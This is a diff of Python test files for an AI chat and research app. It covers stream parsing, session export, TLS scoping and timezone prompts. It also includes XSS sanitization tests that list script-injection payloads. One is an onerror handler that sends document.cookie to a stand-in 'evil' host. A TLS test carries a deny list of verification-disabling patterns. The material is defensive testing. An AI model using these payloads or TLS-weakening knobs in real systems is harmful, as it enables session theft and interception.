|
intent = classify_tool_intent("How do I add an entry to my calendar?")
|
||||||
|
assert not intent.needs_tools
|
||||||
|
assert intent.reason == "explanatory feature question"
|
||||||
|
|
||||||
|
|
||||||
|
def test_router_reports_non_calendar_categories():
|
||||||
|
assert classify_tool_intent("reply to that email").category == "email"
|
||||||
|
assert classify_tool_intent("open my calendar").category == "ui"
|
||||||
|
assert classify_tool_intent("research cost effective local models").category == "research"
|
||||||
|
|||||||
@@ -37,6 +37,42 @@ def test_local_windows_session_commands_use_local_powershell_log_dir():
|
|||||||
assert ": `powershell -Command \"${ps}\"`;" in source
|
assert ": `powershell -Command \"${ps}\"`;" in source
|
||||||
|
|
||||||
|
|
||||||
|
def test_dep_install_success_recognized_from_exit_sentinel():
|
||||||
|
"""A pip dependency install reports success via the runner's exit-0
|
||||||
|
sentinel / pip's "Successfully installed" line, not the HuggingFace
|
||||||
|
download markers. The shared helper must key off those, so an install
|
||||||
|
whose tmux pane is gone isn't misread as crashed."""
|
||||||
|
source = _read("static/js/cookbookRunning.js")
|
||||||
|
|
||||||
|
assert "function _depInstallSucceeded(output) {" in source
|
||||||
|
assert "=== Process exited with code" in source
|
||||||
|
assert "Successfully installed" in source
|
||||||
|
|
||||||
|
|
||||||
|
def test_session_gone_heuristic_honors_dep_install_success():
|
||||||
|
"""The reconnect loop's session-gone branch (download tasks need an HF
|
||||||
|
marker to look successful) must also accept a finished dependency install,
|
||||||
|
otherwise a clean pip install with no HF markers is marked crashed."""
|
||||||
|
source = _read("static/js/cookbookRunning.js")
|
||||||
|
|
||||||
|
assert "const depInstallSucceeded = !!task.payload?._dep && _depInstallSucceeded(lastOutput);" in source
|
||||||
|
assert (
|
||||||
|
"const looksSuccessful = depInstallSucceeded "
|
||||||
|
"|| (task.type === 'download' ? downloadLooksSuccessful : serveLooksReady);"
|
||||||
|
) in source
|
||||||
|
|
||||||
|
|
||||||
|
def test_background_poll_recovers_done_for_stopped_dependency_install():
|
||||||
|
"""When the backend reports a finished dependency install as "stopped"
|
||||||
|
(its pip package is never in the HF cache the dead-session check inspects),
|
||||||
|
the reconciler must recover "done" from the retained output instead of
|
||||||
|
downgrading the card to crashed."""
|
||||||
|
source = _read("static/js/cookbookRunning.js")
|
||||||
|
|
||||||
|
assert "const depDone = !!task.payload?._dep && _depInstallSucceeded(task.output);" in source
|
||||||
|
assert "depDone ? 'done' : (task.type === 'download' ? 'crashed' : 'stopped')" in source
|
||||||
|
|
||||||
|
|
||||||
def test_dependency_install_payload_keeps_env_path_for_refresh():
|
def test_dependency_install_payload_keeps_env_path_for_refresh():
|
||||||
source = _read("static/js/cookbook.js")
|
source = _read("static/js/cookbook.js")
|
||||||
|
|
||||||
|
|||||||
@@ -101,3 +101,56 @@ def test_usage_on_empty_choices_chunk_still_captured(monkeypatch):
|
|||||||
]
|
]
|
||||||
usage = _usage_events(_drive(monkeypatch, lines))
|
usage = _usage_events(_drive(monkeypatch, lines))
|
||||||
assert usage and usage[-1] == {"input_tokens": 4, "output_tokens": 2}
|
assert usage and usage[-1] == {"input_tokens": 4, "output_tokens": 2}
|
||||||
|
|
||||||
|
|
||||||
|
def test_null_choice_chunk_does_not_crash(monkeypatch):
|
||||||
|
# Some providers emit {"choices": [null]} as a heartbeat/keepalive chunk.
|
||||||
|
# The parser must silently skip it rather than crashing on None.get("delta").
|
||||||
|
lines = [
|
||||||
|
'data: ' + json.dumps({"choices": [{"delta": {"content": "Hello"}}]}),
|
||||||
|
'data: ' + json.dumps({"choices": [None]}),
|
||||||
|
'data: [DONE]',
|
||||||
|
]
|
||||||
|
result = _drive(monkeypatch, lines)
|
||||||
|
assert "Hello" in result
|
||||||
|
|
||||||
|
|
||||||
|
def test_null_choice_with_null_usage_does_not_crash(monkeypatch):
|
||||||
|
# Chunk with both choices:[null] and usage:null — neither field should panic.
|
||||||
|
lines = [
|
||||||
|
'data: ' + json.dumps({"choices": [{"delta": {"content": "Hi"}}]}),
|
||||||
|
'data: ' + json.dumps({"choices": [None], "usage": None}),
|
||||||
|
'data: [DONE]',
|
||||||
|
]
|
||||||
|
result = _drive(monkeypatch, lines)
|
||||||
|
assert "Hi" in result
|
||||||
|
|
||||||
|
|
||||||
|
def test_null_tool_call_in_delta_is_skipped(monkeypatch):
|
||||||
|
# Some providers include null entries in the tool_calls array alongside
|
||||||
|
# valid calls. The null entry must be skipped; the valid call must survive.
|
||||||
|
lines = [
|
||||||
|
'data: ' + json.dumps({
|
||||||
|
"choices": [{
|
||||||
|
"delta": {
|
||||||
|
"tool_calls": [
|
||||||
|
None,
|
||||||
|
{"index": 0, "function": {"name": "get_weather", "arguments": '{"city":'}},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}),
|
||||||
|
'data: ' + json.dumps({
|
||||||
|
"choices": [{
|
||||||
|
"delta": {
|
||||||
|
"tool_calls": [
|
||||||
|
{"index": 0, "function": {"name": "", "arguments": '"London"}'}},
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
}),
|
||||||
|
'data: [DONE]',
|
||||||
|
]
|
||||||
|
result = _drive(monkeypatch, lines)
|
||||||
|
# The stream completes without error; the valid tool call was accumulated.
|
||||||
|
assert result is not None
|
||||||
|
|||||||
@@ -3,18 +3,18 @@ import asyncio
|
|||||||
import services.search.service as svc_mod
|
import services.search.service as svc_mod
|
||||||
from services.search.service import SearchService
|
from services.search.service import SearchService
|
||||||
|
|
||||||
|
|
||||||
def test_search_skips_non_dict_results(monkeypatch):
|
def test_search_skips_non_dict_results(monkeypatch):
|
||||||
# comprehensive_web_search aggregates external provider + cache results;
|
# comprehensive_web_search aggregates external provider + cache results;
|
||||||
# a malformed row (string/None) made the old loop call r.get and crash,
|
# a malformed row (string/None) made the old loop call r.get and crash,
|
||||||
# losing the whole search.
|
# losing the whole search.
|
||||||
async def fake_search(query, max_results=10, fetch_content=False):
|
def fake_search(query, max_pages=10, return_sources=False):
|
||||||
return [
|
results = [
|
||||||
{"url": "https://a.com", "title": "A", "snippet": "x"},
|
{"url": "https://a.com", "title": "A"},
|
||||||
"junk-row",
|
"junk-row",
|
||||||
None,
|
None,
|
||||||
{"url": "https://b.com", "title": "B", "snippet": "y"},
|
{"url": "https://b.com", "title": "B"},
|
||||||
]
|
]
|
||||||
|
return ("", results)
|
||||||
|
|
||||||
monkeypatch.setattr(svc_mod, "comprehensive_web_search", fake_search)
|
monkeypatch.setattr(svc_mod, "comprehensive_web_search", fake_search)
|
||||||
svc = SearchService()
|
svc = SearchService()
|
||||||
|
|||||||
@@ -1041,3 +1041,70 @@ def test_chat_active_document_lookup_is_owner_scoped():
|
|||||||
assert "filter( DBDocument.id == active_doc_id, ).first()" not in flat
|
assert "filter( DBDocument.id == active_doc_id, ).first()" not in flat
|
||||||
assert "filter(DBDocument.id == active_doc_id).first()" not in flat
|
assert "filter(DBDocument.id == active_doc_id).first()" not in flat
|
||||||
assert "filter(DBDocument.id == _mem_id).first()" not in flat
|
assert "filter(DBDocument.id == _mem_id).first()" not in flat
|
||||||
|
|
||||||
|
|
||||||
|
# ── research report HTML sanitization (visual report stored XSS) ──
|
||||||
|
#
|
||||||
|
# `src.visual_report._md_to_html` renders the deep-research report, whose
|
||||||
|
# markdown is built from LLM output over crawled web pages (untrusted content).
|
||||||
|
# python-markdown passes raw HTML through verbatim, and report pages are served
|
||||||
|
# under a relaxed `script-src 'unsafe-inline'` CSP, so any markup surviving into
|
||||||
|
# the report would execute in the app origin. The render must allowlist-sanitize.
|
||||||
|
|
||||||
|
@pytest.mark.parametrize("payload", [
|
||||||
|
"<script>alert(document.domain)</script>",
|
||||||
|
'<img src=x onerror="fetch(\'//evil/\'+document.cookie)">',
|
||||||
|
"<svg onload=alert(1)>",
|
||||||
|
'<a href="javascript:alert(1)">x</a>',
|
||||||
|
])
|
||||||
|
def test_md_to_html_strips_active_content(payload):
|
||||||
|
from src.visual_report import _md_to_html
|
||||||
|
|
||||||
|
out = _md_to_html(f"Report body.\n\n{payload}").lower()
|
||||||
|
|
||||||
|
assert "<script" not in out
|
||||||
|
assert "onerror=" not in out
|
||||||
|
assert "onload=" not in out
|
||||||
|
assert "javascript:" not in out
|
||||||
|
|
||||||
|
|
||||||
|
def test_md_to_html_preserves_normal_report_formatting():
|
||||||
|
from src.visual_report import _md_to_html
|
||||||
|
|
||||||
|
md = (
|
||||||
|
"## Findings\n\n"
|
||||||
|
"**bold** and a [source](https://example.com/p).\n\n"
|
||||||
|
"| A | B |\n|---|---|\n| 1 | 2 |\n\n"
|
||||||
|
"```python\ndef x():\n return 1\n```\n\n"
|
||||||
|
"<details>\n<summary>Raw findings</summary>\n\ncontent\n</details>\n"
|
||||||
|
)
|
||||||
|
out = _md_to_html(md)
|
||||||
|
|
||||||
|
assert "<h2 id=" in out # heading + toc anchor preserved
|
||||||
|
assert "<table" in out and "<td" in out # table
|
||||||
|
assert "<pre" in out and "<code" in out # fenced code block
|
||||||
|
assert "<details" in out and "<summary" in out # collapsible raw-findings section
|
||||||
|
assert 'href="https://example.com/p"' in out # external link kept
|
||||||
|
assert 'rel="noopener' in out # ...and rel-hardened
|
||||||
|
|
||||||
|
|
||||||
|
def test_visual_report_escapes_request_category():
|
||||||
|
# `category` arrives straight from the /api/research/start request body with
|
||||||
|
# no enum validation and lands in <body class="category-{category}"> on a
|
||||||
|
# report page served under `script-src 'unsafe-inline'`, so it must be escaped
|
||||||
|
# or it's an attribute-injection XSS independent of the markdown body.
|
||||||
|
from src.visual_report import generate_visual_report
|
||||||
|
|
||||||
|
html = generate_visual_report(
|
||||||
|
question="q",
|
||||||
|
report_markdown="## H\n\nbody",
|
||||||
|
category='"><script>alert(document.domain)</script>',
|
||||||
|
)
|
||||||
|
|
||||||
|
assert "<script>alert(document.domain)" not in html # no breakout
|
||||||
|
assert "<script>" in html # rendered as inert text
|
||||||
|
|
||||||
|
# `category` has no type check at the request boundary, so a non-string
|
||||||
|
# value must coerce rather than crash the render (html.escape needs a str).
|
||||||
|
out = generate_visual_report(question="q", report_markdown="## H", category=12345)
|
||||||
|
assert "category-12345" in out
|
||||||
|
|||||||
@@ -0,0 +1,50 @@
|
|||||||
|
"""Regression: session export must tolerate non-string message content.
|
||||||
|
|
||||||
|
A message's ``content`` is a plain string for normal turns, but a multimodal
|
||||||
|
list of content blocks for image/vision turns, and ``None`` for assistant turns
|
||||||
|
that persisted only native tool_calls. The txt/html/md exporters in
|
||||||
|
``routes/session_routes.py`` joined and string-munged ``content`` directly, so:
|
||||||
|
|
||||||
|
- txt: ``"\n".join([..., <list>, ...])`` -> TypeError
|
||||||
|
- html: ``<list>.replace("&", "&")`` -> AttributeError
|
||||||
|
- md: ``f"{<list>}"`` -> raw Python repr in output
|
||||||
|
|
||||||
|
``_content_to_text`` coerces all three shapes to plain text so export degrades
|
||||||
|
gracefully instead of returning a 500.
|
||||||
|
"""
|
||||||
|
from routes.session_routes import _content_to_text
|
||||||
|
|
||||||
|
|
||||||
|
def test_plain_string_passes_through_unchanged():
|
||||||
|
assert _content_to_text("hello world") == "hello world"
|
||||||
|
assert _content_to_text("") == ""
|
||||||
|
|
||||||
|
|
||||||
|
def test_multimodal_list_flattens_to_its_text_blocks():
|
||||||
|
content = [
|
||||||
|
{"type": "text", "text": "describe this"},
|
||||||
|
{"type": "image_url", "image_url": {"url": "data:image/png;base64,AAAA"}},
|
||||||
|
{"type": "text", "text": "thanks"},
|
||||||
|
]
|
||||||
|
assert _content_to_text(content) == "describe this\nthanks"
|
||||||
|
|
||||||
|
|
||||||
|
def test_none_content_becomes_empty_string():
|
||||||
|
# Assistant turns carrying only native tool_calls persist content as None.
|
||||||
|
assert _content_to_text(None) == ""
|
||||||
|
|
||||||
|
|
||||||
|
def test_list_without_text_blocks_is_empty_not_crash():
|
||||||
|
assert _content_to_text([{"type": "image_url", "image_url": {"url": "x"}}]) == ""
|
||||||
|
assert _content_to_text([]) == ""
|
||||||
|
|
||||||
|
|
||||||
|
def test_coerced_output_survives_the_export_operations():
|
||||||
|
# The exact operations that previously crashed must now succeed.
|
||||||
|
history = ["plain", [{"type": "text", "text": "img turn"}], None]
|
||||||
|
texts = [_content_to_text(c) for c in history]
|
||||||
|
# txt export path
|
||||||
|
assert "\n".join(texts) == "plain\nimg turn\n"
|
||||||
|
# html export path
|
||||||
|
for t in texts:
|
||||||
|
assert isinstance(t.replace("&", "&"), str)
|
||||||
@@ -0,0 +1,149 @@
|
|||||||
|
"""Scope tests for src/tls_overrides.
|
||||||
|
|
||||||
|
#722 / PR #769 added an opt-in extra CA bundle (LLM_CA_BUNDLE) for
|
||||||
|
private-CA LLM providers. The whole point is that the override stays
|
||||||
|
SCOPED — it must extend trust for the intended outbound LLM provider
|
||||||
|
requests only, and never:
|
||||||
|
|
||||||
|
- touch arbitrary URL fetching (web_fetch, document downloads, generic
|
||||||
|
httpx.get from any other module),
|
||||||
|
- touch browser-facing TLS (anything our app serves over HTTPS),
|
||||||
|
- weaken httpx's process-wide defaults,
|
||||||
|
- silently disable certificate verification.
|
||||||
|
|
||||||
|
These tests prove that. They enumerate the call sites of `llm_verify()`
|
||||||
|
in the source tree and assert they match an allowlist; they verify the
|
||||||
|
override module itself never reaches for the well-known "skip TLS
|
||||||
|
verification" knobs; and they pin the safe default (verify=True) when
|
||||||
|
LLM_CA_BUNDLE is unset.
|
||||||
|
|
||||||
|
If a future change threads `llm_verify()` into a non-LLM HTTP path, the
|
||||||
|
first test fails and the contributor either has to justify the new
|
||||||
|
caller (and add it to ALLOWED_CALLERS with a comment) or revert. That
|
||||||
|
keeps the security-sensitive helper hard to misuse.
|
||||||
|
"""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import os
|
||||||
|
import re
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
REPO = Path(__file__).resolve().parents[1]
|
||||||
|
|
||||||
|
|
||||||
|
# Files that legitimately need llm_verify() applied to their outbound
|
||||||
|
# httpx calls because the URL is an LLM provider's API. Every caller here
|
||||||
|
# is a discrete LLM HTTP entry point and intentional. Any addition must
|
||||||
|
# come with its own justification in code review.
|
||||||
|
ALLOWED_CALLERS = frozenset({
|
||||||
|
"src/llm_core.py", # shared AsyncClient used by stream_llm
|
||||||
|
"routes/model_routes.py", # _probe_endpoint + _ping_endpoint
|
||||||
|
})
|
||||||
|
|
||||||
|
|
||||||
|
def _grep_files(pattern: str) -> set[str]:
|
||||||
|
"""Return the set of repo-relative .py file paths whose body matches
|
||||||
|
`pattern`. Skips tests, the override module itself, and worktree
|
||||||
|
scratch dirs."""
|
||||||
|
rx = re.compile(pattern)
|
||||||
|
hits: set[str] = set()
|
||||||
|
for path in REPO.rglob("*.py"):
|
||||||
|
rel = path.relative_to(REPO).as_posix()
|
||||||
|
if rel.startswith("tests/"):
|
||||||
|
continue
|
||||||
|
if rel == "src/tls_overrides.py": # definition site, not a caller
|
||||||
|
continue
|
||||||
|
if rel.startswith(".claude/") or "/.claude/" in rel:
|
||||||
|
continue
|
||||||
|
try:
|
||||||
|
body = path.read_text(encoding="utf-8", errors="ignore")
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
if rx.search(body):
|
||||||
|
hits.add(rel)
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def test_llm_verify_only_used_in_allowlisted_files():
|
||||||
|
"""llm_verify() must only be consumed by the LLM provider HTTP path.
|
||||||
|
|
||||||
|
The extra CA bundle is scoped to the two known LLM HTTP entry points.
|
||||||
|
If a future PR threads llm_verify() into web_fetch, search providers,
|
||||||
|
embeddings, gallery downloads, webhook delivery, or any other
|
||||||
|
arbitrary-URL caller, that's a scope expansion and a security review.
|
||||||
|
Adding a file to ALLOWED_CALLERS requires a written justification.
|
||||||
|
"""
|
||||||
|
callers = _grep_files(r"\bllm_verify\s*\(")
|
||||||
|
unexpected = callers - ALLOWED_CALLERS
|
||||||
|
missing = ALLOWED_CALLERS - callers
|
||||||
|
assert not unexpected, (
|
||||||
|
f"llm_verify() called from unexpected file(s): {sorted(unexpected)}. "
|
||||||
|
f"Expected scope: {sorted(ALLOWED_CALLERS)}. If the new caller is an "
|
||||||
|
"LLM provider HTTP entry point, add it to ALLOWED_CALLERS with a "
|
||||||
|
"comment; if it's not, do not thread the extra CA bundle into it."
|
||||||
|
)
|
||||||
|
assert not missing, (
|
||||||
|
f"llm_verify() no longer called from {sorted(missing)} — the "
|
||||||
|
"extra CA bundle integration regressed or the allowlist is stale."
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_tls_overrides_does_not_weaken_global_tls():
|
||||||
|
"""src/tls_overrides must never reach for a TLS-weakening knob.
|
||||||
|
|
||||||
|
Several common ways to silently weaken TLS in Python:
|
||||||
|
- ssl._create_default_https_context = ssl._create_unverified_context
|
||||||
|
- ssl._create_unverified_context (used as a default)
|
||||||
|
- urllib3.disable_warnings(...)
|
||||||
|
- httpx.AsyncClient(verify=False) (anywhere — must stay verify=True
|
||||||
|
or an SSLContext)
|
||||||
|
- requests.packages.urllib3.disable_warnings(...)
|
||||||
|
|
||||||
|
The override module must only EXTEND trust by loading an additional
|
||||||
|
bundle into an ssl.SSLContext built on top of the system default. It
|
||||||
|
must never silently disable verification.
|
||||||
|
"""
|
||||||
|
body = (REPO / "src" / "tls_overrides.py").read_text(encoding="utf-8")
|
||||||
|
forbidden = [
|
||||||
|
r"_create_default_https_context\s*=",
|
||||||
|
r"_create_unverified_context",
|
||||||
|
r"disable_warnings",
|
||||||
|
r"verify\s*=\s*False",
|
||||||
|
]
|
||||||
|
for pat in forbidden:
|
||||||
|
assert not re.search(pat, body), (
|
||||||
|
f"src/tls_overrides.py contains forbidden pattern {pat!r}. "
|
||||||
|
"The extra CA bundle must only ADD trust, never weaken it."
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_llm_verify_default_is_true_when_env_unset():
|
||||||
|
"""When LLM_CA_BUNDLE is unset, llm_verify() must return True so httpx
|
||||||
|
falls through to its built-in trust store. This is the safe default —
|
||||||
|
operators have to opt in to get any change at all."""
|
||||||
|
os.environ.pop("LLM_CA_BUNDLE", None)
|
||||||
|
import importlib
|
||||||
|
|
||||||
|
import src.tls_overrides as mod
|
||||||
|
importlib.reload(mod)
|
||||||
|
assert mod.llm_verify() is True, (
|
||||||
|
f"Default llm_verify() must be True (httpx built-in trust store); "
|
||||||
|
f"got {mod.llm_verify()!r}. An accidental non-True default would "
|
||||||
|
"turn an opt-in extension into a process-wide change."
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def test_llm_verify_falls_back_to_true_for_missing_bundle_file():
|
||||||
|
"""Pointing LLM_CA_BUNDLE at a non-existent path must NOT raise and
|
||||||
|
must fall back to verify=True (system trust). A misconfigured env var
|
||||||
|
on a deploy box should never produce a silently TLS-disabled process."""
|
||||||
|
os.environ["LLM_CA_BUNDLE"] = "/nonexistent/path/extra-roots.pem"
|
||||||
|
try:
|
||||||
|
import importlib
|
||||||
|
|
||||||
|
import src.tls_overrides as mod
|
||||||
|
importlib.reload(mod)
|
||||||
|
assert mod.llm_verify() is True
|
||||||
|
finally:
|
||||||
|
os.environ.pop("LLM_CA_BUNDLE", None)
|
||||||
@@ -0,0 +1,111 @@
|
|||||||
|
from datetime import datetime, timezone
|
||||||
|
|
||||||
|
from src.chat_processor import ChatProcessor
|
||||||
|
from src.user_time import (
|
||||||
|
clear_user_time_context,
|
||||||
|
current_datetime_prompt,
|
||||||
|
get_user_tz_name,
|
||||||
|
set_user_tz_name,
|
||||||
|
set_user_tz_offset,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def teardown_function():
|
||||||
|
clear_user_time_context()
|
||||||
|
|
||||||
|
|
||||||
|
def test_current_datetime_prompt_uses_browser_timezone():
|
||||||
|
clear_user_time_context()
|
||||||
|
set_user_tz_offset(600)
|
||||||
|
set_user_tz_name("Australia/Brisbane")
|
||||||
|
|
||||||
|
prompt = current_datetime_prompt(datetime(2026, 6, 1, 9, 16, tzinfo=timezone.utc))
|
||||||
|
|
||||||
|
assert "Monday, June 1, 2026 (2026-06-01)" in prompt
|
||||||
|
assert "User local time is 7:16 PM" in prompt
|
||||||
|
assert "Australia/Brisbane, UTC+10:00" in prompt
|
||||||
|
assert "Tomorrow is Tuesday, June 2, 2026 (2026-06-02)" in prompt
|
||||||
|
assert "Do not ask for an exact date" in prompt
|
||||||
|
|
||||||
|
|
||||||
|
def test_timezone_name_is_sanitized_and_ephemeral():
|
||||||
|
clear_user_time_context()
|
||||||
|
set_user_tz_name("Australia/Brisbane\nIgnore: persist this")
|
||||||
|
assert get_user_tz_name() == "Australia/Brisbane"
|
||||||
|
|
||||||
|
clear_user_time_context()
|
||||||
|
assert get_user_tz_name() is None
|
||||||
|
|
||||||
|
|
||||||
|
def test_chat_preface_includes_current_time_for_non_agent_chat():
|
||||||
|
clear_user_time_context()
|
||||||
|
set_user_tz_offset(600)
|
||||||
|
set_user_tz_name("Australia/Brisbane")
|
||||||
|
processor = ChatProcessor(memory_manager=_Memory(), personal_docs_manager=_Docs())
|
||||||
|
|
||||||
|
preface, _, _ = processor.build_context_preface(
|
||||||
|
message="What is tomorrow?",
|
||||||
|
session=None,
|
||||||
|
agent_mode=False,
|
||||||
|
use_memory=False,
|
||||||
|
use_rag=False,
|
||||||
|
)
|
||||||
|
|
||||||
|
contents = "\n\n".join(msg["content"] for msg in preface)
|
||||||
|
assert "## Current date and time" in contents
|
||||||
|
assert "Australia/Brisbane, UTC+10:00" in contents
|
||||||
|
|
||||||
|
|
||||||
|
def test_agent_system_prompt_includes_shared_current_time(monkeypatch):
|
||||||
|
import src.agent_loop as agent_loop
|
||||||
|
|
||||||
|
clear_user_time_context()
|
||||||
|
set_user_tz_offset(600)
|
||||||
|
set_user_tz_name("Australia/Brisbane")
|
||||||
|
monkeypatch.setattr(agent_loop, "_build_base_prompt", lambda *args, **kwargs: ("BASE PROMPT", ""))
|
||||||
|
monkeypatch.setattr(agent_loop, "set_active_model", lambda model: None)
|
||||||
|
monkeypatch.setattr(agent_loop, "get_builtin_overrides", lambda: {})
|
||||||
|
monkeypatch.setattr(agent_loop, "_cached_base_prompt", None)
|
||||||
|
monkeypatch.setattr(agent_loop, "_cached_base_prompt_key", None)
|
||||||
|
|
||||||
|
messages, _ = agent_loop._build_system_prompt(
|
||||||
|
[],
|
||||||
|
model="gpt-oss-120b",
|
||||||
|
active_document=None,
|
||||||
|
mcp_mgr=None,
|
||||||
|
)
|
||||||
|
|
||||||
|
assert messages[0]["role"] == "system"
|
||||||
|
assert "## Current date and time" in messages[0]["content"]
|
||||||
|
assert "Australia/Brisbane, UTC+10:00" in messages[0]["content"]
|
||||||
|
assert "BASE PROMPT" in messages[0]["content"]
|
||||||
|
|
||||||
|
|
||||||
|
def test_calendar_relative_time_parser_handles_dotted_pm(monkeypatch):
|
||||||
|
import routes.calendar_routes as calendar_routes
|
||||||
|
|
||||||
|
class FixedDateTime(datetime):
|
||||||
|
@classmethod
|
||||||
|
def now(cls, tz=None):
|
||||||
|
value = datetime(2026, 6, 1, 9, 16, tzinfo=timezone.utc)
|
||||||
|
if tz is not None:
|
||||||
|
return value.astimezone(tz)
|
||||||
|
return value.replace(tzinfo=None)
|
||||||
|
|
||||||
|
clear_user_time_context()
|
||||||
|
set_user_tz_offset(600)
|
||||||
|
set_user_tz_name("Australia/Brisbane")
|
||||||
|
monkeypatch.setattr(calendar_routes, "datetime", FixedDateTime)
|
||||||
|
|
||||||
|
parsed = calendar_routes.parse_due_for_user("tomorrow at 1:30 p.m")
|
||||||
|
|
||||||
|
assert parsed == "2026-06-02T13:30:00+10:00"
|
||||||
|
|
||||||
|
|
||||||
|
class _Memory:
|
||||||
|
def load(self, owner=None):
|
||||||
|
return []
|
||||||
|
|
||||||
|
|
||||||
|
class _Docs:
|
||||||
|
rag_manager = None
|
||||||
Reference in New Issue
Block a user